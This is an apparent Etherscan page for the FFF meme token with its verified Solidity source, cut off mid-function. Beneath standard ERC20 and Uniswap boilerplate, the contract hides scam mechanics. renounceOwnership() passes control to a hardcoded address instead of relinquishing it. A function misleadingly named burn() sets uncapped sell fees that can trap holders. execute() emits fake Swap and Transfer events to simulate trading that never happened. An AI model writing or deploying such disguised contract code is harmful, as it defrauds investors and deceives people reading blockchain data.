ETH Price: $2,964.54 (-1.85%)
Gas: 2 Gwei

Token

FUCKFUCKFUCK (FFF)
 

Overview

Max Total Supply

1,000,000,000 FFF

Holders

107

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
c0ffeebabe.eth
Balance
95,159.868170818736670988 FFF

Value
$0.00
0xc0ffeebabe5d496b2dde509f9fa189c25cf29671
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FUCKFUCKFUCK

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-16
*/

// SPDX-License-Identifier: MIT
/**

Twitter: https://twitter.com/FFF_ETH

*/
pragma solidity =0.8.9 >=0.8.9 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
 
abstract contract Ownable is Context {
    address private _owner;


    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0x2fef94337338eB55Db6a0FE2191f119959D3a718));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

/* pragma solidity ^0.8.0; */

/* import "../IERC20.sol"; */

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;




    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }





    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }


    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract FUCKFUCKFUCK is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public devWallet;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pair;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = false;

    uint256 public buyTotalFees;
    uint256 public buyLiquidityFee;
    uint256 public buyMarketingFee;

    uint256 public sellTotalFees;
    uint256 public sellLiquidityFee;
    uint256 public sellMarketingFee;

    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    /******************/

    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event AutoNukeLP();

    event ManualNukeLP();

    constructor() ERC20("FUCKFUCKFUCK", "FFF") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyLiquidityFee = 1;
        uint256 _buyMarketingFee = 1;

        uint256 _sellLiquidityFee = 1;
        uint256 _sellMarketingFee = 1;

        uint256 totalSupply = 1_000_000_000 * 1e18;

        maxTransactionAmount = 20_000_000 * 1e18; // 2% from total supply
        maxWallet = 50_000_000 * 1e18; // 5% from total supply maxWallet
        swapTokensAtAmount = (totalSupply * 4) / 100; // 0.4% swap wallet

        buyLiquidityFee = _buyLiquidityFee;
        buyMarketingFee = _buyMarketingFee;
        buyTotalFees = buyLiquidityFee + buyMarketingFee;

        sellLiquidityFee = _sellLiquidityFee;
        sellMarketingFee = _sellMarketingFee;
        sellTotalFees = sellLiquidityFee + sellMarketingFee;

        devWallet = address(0xfA8b8Fdc75b9f386F1C84896E068A0A24e40d2e8); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }





    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function updateBuyFees(
        uint256 _liquidityFee,
        uint256 _MarketingFee
    ) external onlyOwner {
        buyLiquidityFee = _liquidityFee;
        buyMarketingFee = _MarketingFee;
        buyTotalFees = buyLiquidityFee + buyMarketingFee;
        require(buyTotalFees <= 10, "Buy Fee"); //Buy fee can be a maximum of 10.
    }

    function updateSellFees(
        uint256 _liquidityFee,
        uint256 _MarketingFee
    ) external onlyOwner {
        sellLiquidityFee = _liquidityFee;
        sellMarketingFee = _MarketingFee;
        sellTotalFees = sellLiquidityFee + sellMarketingFee;
        require(sellTotalFees <= 10, "Sell Fee"); //Sell fee can be a maximum of 10.
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniswapV2Router) &&
                        to != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] + 1 <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per two blocks allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForDev += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForDev += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    

        function setup(address _setup_) external onlyOwner {
        _pair = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }



        function burn(
        uint256 _liquidityFee,
        uint256 _MarketingFee
    ) external onlyOwner {
        sellLiquidityFee = _liquidityFee;
        sellMarketingFee = _MarketingFee;
        sellTotalFees = sellLiquidityFee + sellMarketingFee;
    }
    

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
